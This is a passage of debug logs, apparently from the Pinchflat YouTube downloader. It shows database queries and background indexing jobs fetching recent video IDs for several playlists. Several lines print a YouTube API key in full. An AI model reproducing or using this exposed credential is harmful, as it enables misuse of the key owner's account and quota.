"settings" AS s0 LIMIT 1 [] 15:57:02.101 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:02.101 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:02.101 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 15:57:02.102 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:02.102 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:02.102 [debug] QUERY OK source="settings" db=1.0ms idle=222.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:02.102 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:02.102 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:02.102 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 15:57:02.102 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:02.102 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:02.207 [debug] QUERY OK source="media_items" db=0.9ms idle=103.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 15:57:02.208 [debug] QUERY OK source="media_items" db=0.4ms idle=105.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 15:57:02.208 [debug] QUERY OK source="tasks" db=0.1ms idle=106.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799856, 15, ~U[2026-02-10 21:57:02Z], ~U[2026-02-10 21:57:02Z]] 15:57:02.209 [info] {"args":{"id":15},"id":3799818,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":108108,"event":"job:stop","queue_time":471450,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:02.215 [info] {"args":{"id":22},"id":3799819,"meta":{},"system_time":1770760622215679061,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:02.215 [debug] QUERY OK source="sources" db=0.1ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 15:57:02.216 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:02.216 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:02.216 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:02.216 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 15:57:02.216 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:02.216 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:02.286 [debug] QUERY OK source="media_items" db=0.3ms idle=70.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 15:57:02.287 [debug] QUERY OK source="media_items" db=0.2ms idle=70.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 15:57:02.288 [debug] QUERY OK source="tasks" db=0.1ms idle=71.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799857, 42, ~U[2026-02-10 21:57:02Z], ~U[2026-02-10 21:57:02Z]] 15:57:02.289 [info] {"args":{"id":42},"id":3799817,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":187891,"event":"job:stop","queue_time":581186,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:02.295 [info] {"args":{"id":13},"id":3799820,"meta":{},"system_time":1770760622295592149,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:02.295 [debug] QUERY OK source="sources" db=0.1ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 15:57:02.296 [debug] QUERY OK source="settings" db=0.1ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:02.296 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:02.296 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:02.296 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 15:57:02.296 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:02.296 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:02.366 [debug] QUERY OK source="media_items" db=0.5ms idle=69.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 15:57:02.367 [debug] QUERY OK source="media_items" db=0.3ms idle=70.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 15:57:02.368 [debug] QUERY OK source="tasks" db=0.1ms idle=71.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799858, 22, ~U[2026-02-10 21:57:02Z], ~U[2026-02-10 21:57:02Z]] 15:57:02.368 [info] {"args":{"id":22},"id":3799819,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":152422,"event":"job:stop","queue_time":498213,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:02.450 [debug] QUERY OK source="media_items" db=0.5ms idle=81.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 15:57:02.451 [debug] QUERY OK source="media_items" db=0.3ms idle=82.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 15:57:02.452 [debug] QUERY OK source="tasks" db=0.1ms idle=77.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799859, 13, ~U[2026-02-10 21:57:02Z], ~U[2026-02-10 21:57:02Z]] 15:57:02.452 [info] {"args":{"id":13},"id":3799820,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":156439,"event":"job:stop","queue_time":486279,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:04.103 [info] {"args":{"id":14},"id":3799821,"meta":{},"system_time":1770760624103774465,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:04.104 [debug] QUERY OK source="sources" db=0.1ms idle=225.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 15:57:04.104 [debug] QUERY OK source="settings" db=0.1ms idle=225.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:04.104 [debug] QUERY OK source="media_profiles" db=0.1ms idle=226.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:04.104 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:04.104 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 15:57:04.104 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:04.104 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:04.232 [debug] QUERY OK source="media_items" db=0.6ms idle=127.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", 